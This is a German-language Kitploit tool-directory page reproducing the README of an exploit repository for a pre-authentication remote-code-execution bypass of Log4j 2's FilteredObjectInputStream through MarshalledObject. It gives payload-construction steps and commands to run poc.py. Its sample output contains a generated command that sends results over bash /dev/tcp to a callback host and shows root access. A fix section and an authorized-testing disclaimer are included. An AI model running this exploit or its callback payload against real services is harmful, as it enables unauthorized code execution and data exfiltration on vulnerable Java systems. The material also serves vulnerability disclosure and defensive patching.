Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
log4j2-rce — Pre-auth RCE über FilteredObjectInputStream MarshalledObject-Bypass in Apache Log4j 2 | Kitploit
Tools/GitHubGitHub/hypnguyen1209/log4j2-rce
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPayload-EntwicklungBinary-Exploitation
GitHubhypnguyen1209/log4j2-rce

log4j2-rce

Pre-auth RCE über FilteredObjectInputStream MarshalledObject-Bypass in Apache Log4j 2

Repository anzeigen
195vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Log4j FilteredObjectInputStream-Bypass

Pre-Auth-RCE auf jedem Java-Dienst, der LogEvent über Log4js FilteredObjectInputStream deserialisiert. Keine Anmeldedaten erforderlich.

Gemeldet als GitHub Issue #4255 am 24. August 2026.

Was es tut

Log4j liefert FilteredObjectInputStream (FOIS) als sicheren Deserialisierungs-Wrapper aus. Es überschreibt resolveClass() mit einer Whitelist, sodass nur org.apache.logging.log4j.*, java.lang.*, java.util.* und einige explizite Klassen durchgelassen werden.

Eine dieser expliziten Klassen ist java.rmi.MarshalledObject:

root@kitploit:~
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
        "java.math.BigDecimal",
        "java.math.BigInteger",
        "java.rmi.MarshalledObject",   // <-- das Problem
        ...);

MarshalledObject.get() erstellt intern einen neuen, einfachen ObjectInputStream. Kein Filter. Alles, was in einem MarshalledObject verpackt ist, wird ohne Einschränkungen deserialisiert und umgeht die Whitelist vollständig.

Log4j selbst führt dieses Verpacken durch. LogEventProxy (der Serialisierungs-Proxy für jedes LogEvent) speichert die Ereignisnachricht in einem MarshalledObject<Message>-Feld. Bei der Deserialisierung wird marshalledMessage.get() aufgerufen, um die Nachricht wiederherzustellen. Dieser Aufruf erstellt den ungefilterten Stream. Game over.

Wie FOIS umgangen wird

Der Filter sieht nur die Top-Level-Klassendeskriptoren im Stream:

root@kitploit:~
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
    String name = SerializationUtil.stripArray(desc.getName());
    if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
        throw new InvalidObjectException(
            "Class is not allowed for deserialization: " + name);
    }
    return super.resolveClass(desc);
}

FOIS prüft LogEventProxy (log4j-Paket, erlaubt), MarshalledObject (in der Whitelist) und byte[] (primitiv). Alle bestehen. Die CC6-Gadget-Kette ist als Rohbytes in MarshalledObject.objBytes versteckt. FOIS sieht sie nie.

Wenn LogEventProxy.readResolve() ausgeführt wird:

root@kitploit:~
// Log4jLogEvent.java:1265-1274
private Message message() {
    if (marshalledMessage != null) {
        try {
            return marshalledMessage.get();   // ungefilterter ObjectInputStream
        } catch (final Exception ex) {
            // ignoriere mich
        }
    }
    return new SimpleMessage(messageString);
}

marshalledMessage.get() erstellt einen einfachen ObjectInputStream, die CC6-Kette wird ausgelöst und der Befehl ausgeführt. Der Catch-Block verschluckt die ClassCastException, wenn das Gadget-Ergebnis keine Message ist, sodass der Server normal antwortet. Kein Fehler, kein Log-Eintrag.

Zum Vergleich: ObjectMessage macht es korrekt:

root@kitploit:~
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
    in.defaultReadObject();
    obj = SerializationUtil.readWrappedObject(in);  // erstellt einen GEFILTERTEN inneren Stream
}

LogEventProxy sollte dasselbe Muster verwenden, tut es aber nicht.

Wie der Angriff funktioniert

root@kitploit:~
Angreifer                                   Ziel (FOIS-basierter Empfänger)
   |                                              |
   |  HTTP POST /log                              |
   |  Body: serialisierter LogEventProxy          |
   |  ------------------------------------------> |
   |                                              |
   |                 FilteredObjectInputStream.readObject()
   |                   ├── resolveClass(LogEventProxy)     ✓ log4j-Paket
   |                   ├── resolveClass(MarshalledObject)  ✓ Whitelist
   |                   └── resolveClass(byte[])            ✓ primitiv
   |                         |
   |                 LogEventProxy.readResolve()
   |                   └── message()
   |                       └── marshalledMessage.get()
   |                           └── new ObjectInputStream(objBytes)   KEIN FILTER
   |                               └── HashSet.readObject()          CC6
   |                                   └── TiedMapEntry.hashCode()
   |                                       └── LazyMap.get()
   |                                           └── ChainedTransformer
   |                                               └── Runtime.exec(cmd)
   |                                              |
   |  HTTP 200 OK: "log event"                    |
   |  <------------------------------------------ |

Der Server antwortet mit 200 und verarbeitet das Ereignis, als wäre nichts passiert.

Payload-Konstruktion

Der Trick besteht darin, die CC6-Kette in MarshalledObject.objBytes zu bringen, ohne sie vorzeitig auszulösen.

GadgetMessage implementiert Message und überschreibt writeReplace(), um das CC6-Gadget zurückzugeben:

  1. Erstelle ein Log4jLogEvent mit GadgetMessage als Nachricht.
  2. Serialisiere es. LogEventProxy.writeObject() ruft marshall(message) auf, das GadgetMessage in den MarshalledObject-Konstruktor einspeist.
  3. Der Konstruktor serialisiert GadgetMessage. writeReplace() feuert und ersetzt es durch das CC6-HashSet.
  4. Jetzt enthält MarshalledObject.objBytes die CC6-Kette. GadgetMessage erscheint nie auf der Leitung.

GadgetMessage existiert nur auf Angreiferseite. Es muss nicht im Klassenpfad des Ziels vorhanden sein.

Betroffene Versionen

KomponenteVerwundbar
log4j-api (FilteredObjectInputStream)2.11.0 bis 2.24.3
log4j-core (LogEventProxy MarshalledObject-Feld)2.8.0 bis 2.24.3

Das Ziel benötigt außerdem eine Gadget-Bibliothek im Klassenpfad. Dieser PoC verwendet Commons Collections 3.2.1 (CC6-Kette).

Ausführung

Voraussetzungen: Java 11+, Maven, Python 3.10+, Docker (nur Opfer-Labor)

Opfer erstellen und starten:

root@kitploit:~
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..

Exploit erstellen (oder poc.py es beim ersten Lauf machen lassen):

root@kitploit:~
cd exploit && mvn package -q -DskipTests && cd ..

Ausführen:

root@kitploit:~
# --lhost ist deine vom Ziel erreichbare IP
# für das Docker-Labor auf demselben Host die docker0-Bridge-IP verwenden
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1

Ausgabe:

root@kitploit:~
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target:  http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999

[*] generating payload ...
    [gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
    [gen] payload: 2619 bytes
[*] payload: 2619 bytes

[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event

[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)

Benutzerdefinierter Callback-Port:

root@kitploit:~
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444

Wie poc.py funktioniert

  1. Beim ersten Lauf wird mvn package in exploit/ aufgerufen, um PayloadGenerator zu kompilieren und Abhängigkeiten zu laden. Bei späteren Läufen übersprungen.
  2. Führt java -cp exploit/target/... PayloadGenerator <cmd> auf dem Host aus. Gibt ein base64-serialisiertes LogEvent mit CC6 in einem MarshalledObject aus.
  3. Öffnet einen TCP-Listener auf --lport (Standard 9999), um die Befehlsausgabe zu empfangen.
  4. Sendet die Rohbytes als HTTP-POST an den /log-Endpunkt des Ziels.
  5. Der Payload führt den Befehl auf dem Ziel aus und leitet die Ausgabe über bash /dev/tcp an den Listener zurück.

Dateien

root@kitploit:~
log4j2-rce/
├── README.md
├── poc.py                          # Exploit-Skript
├── exploit/                        # Angreifer (läuft auf dem Host)
│   ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
│   └── src/
│       ├── PayloadGenerator.java   # CC6 + MarshalledObject + LogEvent
│       └── GadgetMessage.java      # Message mit writeReplace()
└── lab/                            # Opfer (Docker)
    ├── Dockerfile
    ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
    └── src/
        └── HttpLogReceiver.java    # HTTP-Endpunkt mit FOIS

lab/ ist das Opfer. HttpLogReceiver ist ein HTTP-Log-Empfänger mit FilteredObjectInputStream. Standardkonfiguration, keine Debug-Flags, keine künstlichen Schwachstellen. Commons Collections im Klassenpfad als realistische transitive Abhängigkeit.

exploit/ ist die Angreifer-Werkzeugkiste. PayloadGenerator erstellt den serialisierten Payload auf dem Host. Berührt den Opfer-Container nie.

Fix

  1. Entferne java.rmi.MarshalledObject aus REQUIRED_JAVA_CLASSES.
  2. Ersetze das MarshalledObject<Message>-Feld in LogEventProxy durch ein byte[], das über SerializationUtil.writeWrappedObject() / readWrappedObject() serialisiert wird. Das ist dasselbe Muster, das ObjectMessage bereits korrekt verwendet.

Commons-Collections-Versionen

CC 3.2.1 und früher: InvokerTransformer serialisiert frei. CC6 funktioniert unverändert.

CC 3.2.2 (Nov 2015): Fügte einen Serialisierungs-Guard in InvokerTransformer hinzu, der die Kette blockiert, es sei denn, org.apache.commons.collections.enableUnsafeSerialization ist true.

Der Filter-Bypass existiert unabhängig von der CC-Version. Der CC-Guard ist Defense-in-Depth auf der Gadget-Ebene, kein Fix für den kaputten Filter. Jede andere ungeschützte Gadget-Bibliothek (Groovy, BeanShell, Spring Beans usw.) ermöglicht denselben Angriff.

Bereinigung

root@kitploit:~
docker rm -f fois-lab
docker rmi fois-bypass-lab

Rechtliches

Nur für autorisierte Tests. Hol dir eine schriftliche Genehmigung, bevor du dies gegen etwas ausführst, das dir nicht gehört.

Tool herunterladen